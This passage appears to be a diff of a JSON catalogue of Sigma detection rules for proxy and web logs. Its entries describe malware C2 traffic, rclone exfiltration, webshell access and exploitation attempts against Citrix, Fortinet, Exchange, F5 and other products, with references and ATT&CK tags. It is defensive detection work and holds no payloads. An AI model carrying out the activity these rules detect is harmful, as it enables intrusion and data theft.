"https://github.com/BC-SECURITY/Empire", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empire_ua_uri_combos.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "b923f7d6-ac89-4a50-a71a-89fb846b4aa8", + "value": "Empire UserAgent URI Combo" + }, + { + "description": "Detects suspicious empty user agent strings in proxy logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_empty_ua.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/Carlos_Perez/status/883455096645931008", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "21e44d78-95e7-421b-a464-ffd8395659c4", + "value": "Empty User Agent" + }, + { + "description": "Detects URL pattern used by iOS Implant", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ios_implant.yml", + "level": "critical", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", + "https://twitter.com/craiu/status/1167358457344925696", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.collection", + "attack.t1005", + "attack.t1119", + "attack.credential_access", + "attack.t1528", + "attack.t1552.001" + ] + }, + "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", + "value": "iOS Implant URL Pattern" + }, + { + "description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2021/12/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_java_class_download.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_java_class_download.yml" + ], + "tags": [ + "attack.initial_access" + ] + }, + "uuid": "53c15703-b04c-42bb-9055-1937ddfb3392", + "value": "Java Class Proxy Download" + }, + { + "description": "Detects Windows PowerShell Web Access", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/13", + "falsepositive": [ + "Administrative scripts that download files from the Internet", + "Administrative scripts that retrieve certain website contents" + ], + "filename": "proxy_powershell_ua.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_powershell_ua.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "c8557060-9221-4448-8794-96320e6f3e74", + "value": "Windows PowerShell User Agent" + }, + { + "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/04/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_pwndrop.yml", + "level": "critical", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://breakdev.org/pwndrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.001", + "attack.t1102.003" + ] + }, + "uuid": "2b1ee7e4-89b6-4739-b7bb-b811b6607e5e", + "value": "PwnDrp Access" + }, + { + "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/05", + "falsepositive": [ + "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" + ], + "filename": "proxy_raw_paste_service_access.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.virustotal.com/gui/domain/paste.ee/relations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_raw_paste_service_access.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.001", + "attack.t1102.003", + "attack.defense_evasion" + ] + }, + "uuid": "5468045b-4fcc-4d1a-973c-c9c9578edacb", + "value": "Raw Paste Service Access" + }, + { + "description": "Detects a flashplayer update from an unofficial location", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/10/25", + "falsepositive": [ + "Unknown flash download locations" + ], + "filename": "proxy_susp_flash_download_loc.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1189", + "attack.execution", + "attack.t1204.002", + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "4922a5dd-6743-4fc2-8e81-144374280997", + "value": "Flash Player Update from Suspicious Location" + }, + { + "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/06/05", + "falsepositive": [ + "Legitimate use of Telegram bots in the company" + ], + "filename": "proxy_telegram_api.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.002" + ] + }, + "uuid": "b494b165-6634-483d-8c47-2026a6c52372", + "value": "Telegram API Access" + }, + { + "description": "Detects Turla ComRAT patterns", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/05/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_turla_comrat.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_turla_comrat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001", + "attack.g0010" + ] + }, + "uuid": "7857f021-007f-4928-8b2c-7aedbe64bb82", + "value": "Turla ComRAT" + }, + { + "description": "Detects suspicious user agent strings used in APT malware in proxy logs", + "meta": { + "author": "Florian Roth, Markus Neis", + "creation_date": "2019/11/12", + "falsepositive": [ + "Old browsers" + ], + "filename": "proxy_ua_apt.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "6ec820f2-e963-4801-9127-d8b2dce4d31b", + "value": "APT User Agent" + }, + { + "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_bitsadmin_susp_ip.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_ip.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190" + ] + }, + "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3", + "value": "Bitsadmin to Uncommon IP Server Address" + }, + { + "description": "Detects Bitsadmin connections to domains with uncommon TLDs - https://twitter.com/jhencinski/status/1102695118455349248 - https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2019/03/07", + "falsepositive": [ + "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" + ], + "filename": "proxy_ua_bitsadmin_susp_tld.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190" + ] + }, + "uuid": "9eb68894-7476-4cd6-8752-23b51f5883a7", + "value": "Bitsadmin to Uncommon TLD" + }, + { + "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_cryptominer.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", + "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78", + "value": "Crypto Miner User Agent" + }, + { + "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_frameworks.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_frameworks.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f", + "value": "Exploit Framework User Agent" + }, + { + "description": "Detects suspicious user agent strings user by hack tools in proxy logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_hacktool.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_hacktool.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "c42a3073-30fb-48ae-8c99-c23ada84b103", + "value": "Hack Tool User Agent" + }, + { + "description": "Detects suspicious user agent strings used by malware in proxy logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_malware.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "http://www.botopedia.org/search?searchword=scan&searchphrase=all", + "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", + "https://perishablepress.com/blacklist/ua-2013.txt", + "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e", + "value": "Malware User Agent" + }, + { + "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", + "meta": { + "author": "Janantha Marasinghe", + "creation_date": "2022/10/18", + "falsepositive": [ + "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" + ], + "filename": "proxy_ua_rclone.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://rclone.org/", + "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_rclone.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "2c03648b-e081-41a5-b9fb-7d854a915091", + "value": "Rclone Activity via Proxy" + }, + { + "description": "Detects suspicious malformed user agent strings in proxy logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_susp.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "7195a772-4b3f-43a4-a210-6a003d65caa1", + "value": "Suspicious User Agent" + }, + { + "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_susp_base64.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp_base64.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", + "value": "Suspicious User Agent" + }, + { + "description": "Detects Ursnif C2 traffic.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/12/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ursnif_malware_c2_url.yml", + "level": "critical", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001", + "attack.execution", + "attack.t1204.002", + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "932ac737-33ca-4afd-9869-0d48b391fcc9", + "value": "Ursnif Malware C2 URL Pattern" + }, + { + "description": "Detects download of Ursnif malware done by dropper documents.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/12/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ursnif_malware_download_url.yml", + "level": "high", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_download_url.yml" + ], + "tags": "No established tags" + }, + "uuid": "a36ce77e-30db-4ea0-8795-644d7af5dfb4", + "value": "Ursnif Malware Download URL Pattern" + }, + { + "description": "Detects a segmentation fault error message caused by a creashing apache worker process", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/28", + "falsepositive": [ + "Unknown" + ], + "filename": "web_apache_segfault.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "No established product", + "refs": [ + "http://www.securityfocus.com/infocus/1633", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_segfault.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ] + }, + "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", + "value": "Apache Segmentation Fault" + }, + { + "description": "Detects an issue in apache logs that reports threading related errors", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/01/22", + "falsepositive": [ + "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" + ], + "filename": "web_apache_threading_error.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "No established product", + "refs": [ + "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml" + ], + "tags": "No established tags" + }, + "uuid": "e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c", + "value": "Apache Threading Error" + }, + { + "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", + "meta": { + "author": "Subhash Popuri (@pbssubhash)", + "creation_date": "2021/08/25", + "falsepositive": [ + "Scanning from Nuclei", + "Unknown" + ], + "filename": "web_cve_2010_5278_exploitation_attempt.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", + "value": "CVE-2010-5278 Exploitation Attempt" + }, + { + "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/19", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2014_6287_hfs_rce.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", + "https://www.exploit-db.com/exploits/39161", + "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.t1505.003", + "cve.2014.6287" + ] + }, + "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", + "value": "Rejetto HTTP File Server RCE" + }, + { + "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2020/12/08", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", + "value": "Fortinet CVE-2018-13379 Exploitation" + }, + { + "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/07/22", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2018_2894_weblogic_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/pyn3rd/status/1020620932967223296", + "https://github.com/LandGrey/CVE-2018-2894", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.t1505.003", + "cve.2018.2894" + ] + }, + "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", + "value": "Oracle WebLogic Exploit" + }, + { + "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/11/18", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.exploit-db.com/exploits/47297", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", + "value": "Pulse Secure Attack CVE-2019-11510" + }, + { + "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", + "meta": { + "author": "Arnim Rupp, Florian Roth", + "creation_date": "2020/01/02", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2019_19781_citrix_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://support.citrix.com/article/CTX267679", + "https://support.citrix.com/article/CTX267027", + "https://isc.sans.edu/diary/25686", + "https://twitter.com/mpgn_x64/status/1216787131210829826", + "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", + "value": "Citrix Netscaler Attack CVE-2019-19781" + }, + { + "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/05/26", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2019_3398_confluence.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_3398_confluence.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", + "value": "Confluence Exploitation CVE-2019-3398" + }, + { + "description": "Detects CVE-2020-0688 Exploitation attempts", + "meta": { + "author": "NVISO", + "creation_date": "2020/02/27", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_0688_exchange_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/Ridter/cve-2020-0688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", + "value": "CVE-2020-0688 Exploitation Attempt" + }, + { + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/02/29", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_0688_msexchange.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_msexchange.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", + "value": "CVE-2020-0688 Exchange Exploitation via Web Log" + }, + { + "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", + "meta": { + "author": "Bhabesh Raj, Tim Shelton", + "creation_date": "2020/12/27", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_10148_solarwinds_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://kb.cert.org/vuls/id/843464", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", + "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass" + }, + { + "description": "Detects exploitation attempts on WebLogic servers", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/11/02", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_14882_weblogic_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://isc.sans.edu/diary/26734", + "https://twitter.com/jas502n/status/1321416053050667009?s=20", + "https://twitter.com/sudo_sudoka/status/1323951871078223874", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.14882" + ] + }, + "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", + "value": "Oracle WebLogic Exploit CVE-2020-14882" + }, + { + "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/01/25", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", + "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.28188" + ] + }, + "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", + "value": "TerraMaster TOS CVE-2020-28188" + }, + { + "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/01/07", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/aboul3la/status/1286012324722155525", + "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_3452_cisco_asa_ftd.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.3452" + ] + }, + "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", + "value": "Cisco ASA FTD Exploit CVE-2020-3452" + }, + { + "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/05", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_5902_f5_bigip.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://support.f5.com/csp/article/K52145254", + "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", + "https://twitter.com/yorickkoster/status/1279709009151434754", + "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", + "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt" + }, + { + "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/10", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://support.citrix.com/article/CTX276688", + "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", + "https://dmaasland.github.io/posts/citrix.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", + "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195" + }, + { + "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", + "level": "critical", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", + "https://www.tenable.com/security/research/tra-2021-13", + 